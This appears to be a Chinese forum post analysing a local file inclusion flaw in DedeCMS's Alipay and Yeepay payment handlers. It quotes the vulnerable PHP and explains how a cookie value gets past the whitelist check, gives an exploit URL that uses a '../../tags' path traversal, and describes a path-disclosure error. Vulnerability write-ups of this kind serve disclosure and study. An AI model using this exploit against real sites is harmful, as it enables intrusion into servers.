晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)/ p! R5 t; g, I& |3 C
3 D/ N) h1 Q0 c, T
出现漏洞的两个文件为:% U, A9 J1 I+ o( \" D) L
Include/payment/alipay.php( y0 P; }2 x- f. ~+ S, g
Include/payment/yeepay.php; k$ B9 _* ~! R0 }$ R: h" o+ f
漏洞均出现在respond方法里,估计这两个文件是临时工写的。; A) z/ ~" l, g; p' l& |' }" C
" r; C0 A3 i' zInclude/payment/alipay.php
: y5 b* D( `2 ~& x0 g5 D) e4 V- N3 s5 d, D
......
5 N# p1 X y+ @ c7 V function respond(), F9 n0 R3 Z' b7 w
{
2 g$ r% d- }& e- H8 z0 E/ I if (!empty($_POST))
2 `% O4 r9 f. x$ w- D {7 l4 z0 I U$ ~$ d; ?
foreach($_POST as $key => $data)
5 ^, E) }0 ?" A( E {" s+ J" f0 }) c1 p( k
$_GET[$key] = $data;
: a7 y- A, x! m5 E' J }5 M. i6 [1 }" H* T1 l/ B/ t& n) _
}
- r+ l) |4 G# ^) ]2 L( B" v4 o. x /* 引入配置文件 */, c' R$ D$ I3 \3 P+ F9 n
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
4 \# Y3 w1 \, S2 S, v7 @...... / B: a/ ^* f1 ]5 h- H
, J( c6 f; q4 `& N1 i" x w* j
- s x) D, V7 Q& v
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。9 g! X& g+ h# `! {: K/ j6 S
' _% _6 V5 d) h; ^; S dInclude/payment/yeepay.php
0 x9 v: |7 B: g) x+ L5 O
0 t$ e n u% q0 d% u
+ \; _ U( [5 S x' W& A! C) l B; ?6 Z5 K, f5 e8 D
......
* Y: e$ J" u d# p8 e) l7 @ function respond()8 D" L" w7 [8 o6 n+ n& \2 P' G
{! j, r2 g. t p4 N
6 l! U2 z+ O* E/ h
/* 引入配置文件 */# m& d3 h' j, ^8 e3 B) n8 N8 K+ i
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';2 ]* w; d2 ]3 P7 y1 `, c! y9 o; [; |
4 ~8 D* c4 m1 m ` $p1_MerId = trim($payment['yp_account']);& k+ ^$ C! X) S- W; Z$ d
$merchantKey = trim($payment['yp_key']);# B0 N2 l A& L- R) x, R0 ~
...... : ]! ~. \. G1 G. Z9 J. j! d. K
5 g6 Z% _, N: V/ C8 H
7 D9 Y! Z, y' Z( L. o& b) c 7 c( z: @1 F% V9 g) }! R( T& l* ?
* p9 w# H3 F) t' m2 Y0 r/ h大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。. ^1 t' r1 X0 g+ l5 Q
3 C. Z! K# U6 _0 n0 C' }这两个方法在plus/carbuyaction.php文件调用。& P" s9 l$ ?& g5 C
- |; x* V* O9 F' O) N
plus/carbuyaction.php
4 U% D$ O, M0 ^; C5 E
8 w+ z9 f* Z3 U+ o......
! `) T: i# i6 y4 F7 Q6 o' ]} else if ($dopost == 'return') {$ t" M3 ?- q) q. g% w! J
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
5 F1 Z4 u# S! v. A2 A I3 g H- E" K if (in_array($code, $write_list))
2 K; M7 F' i/ W {
! ]8 g/ H6 M8 S2 }& M1 a; v require_once DEDEINC.'/payment/'.$code.'.php';* ]5 ~& ?1 ]( i- E, F! k; O
$pay = new $code;. D. J5 k3 `/ \& h8 F* C
$msg=$pay->respond();+ J, x: b+ N% M2 a4 c
ShowMsg($msg, "javascript:;", 0, 3000);
1 @% U5 }+ q. ?3 w0 i; S exit();
; ^1 p1 T V& `* o } else {1 R$ u; w' |9 I9 L2 X
exit('Error:File Type Can\'t Recognized!');' A# S) r" o1 U% ^* k# b
}% V8 u$ w' y2 ^# F
}# R( d+ k, z! q$ z: W: x* J
......
' s/ c! W! m n) o, o7 i
2 q/ \9 F& a# ~0 f9 `% }
) n2 v6 S% p* u. C ; p$ m: m$ E+ D) H0 B" s! l4 @
5 \+ j# p. k$ R" p6 ? t4 w
e0 B2 M" l8 C8 |/ s
9 `% @- G& V* A& Y) Z, t# z大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。- u7 Y4 i3 {; i
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。2 j' C3 s1 Q& e* ~3 g7 Z. L
- n4 J4 h& z. o" L
回到include/common.inc.php来看看他的机制。
. r( n) Y' j/ s+ u
2 [" }2 V& T- `) ^ 8 _9 y; Y( @! R1 V7 Y& r; V! a
. k: F' \9 F. e( l
......
5 Z, B6 F5 O) d4 h$ c k& ~4 R; hforeach(Array('_GET','_POST','_COOKIE') as $_request)
& c; \/ H# t, l i* n7 z5 V{
* X8 {; l7 u* U6 E J foreach($$_request as $_k => $_v)
% F5 h$ @6 W' Y! M3 c$ A {
' C* u0 F+ C' T if($_k == 'nvarname') ${$_k} = $_v;* k+ O+ f; D- Q" ~
else ${$_k} = _RunMagicQuotes($_v);
* v% Q' l1 K2 e' R! b% A }
1 D x5 W. a7 q0 c}
, p$ b( E. C+ I# I/ d9 I...... ( n- }+ g) s! c! t
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
8 l1 D; \3 V. U- X/ z) Q Z, J由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |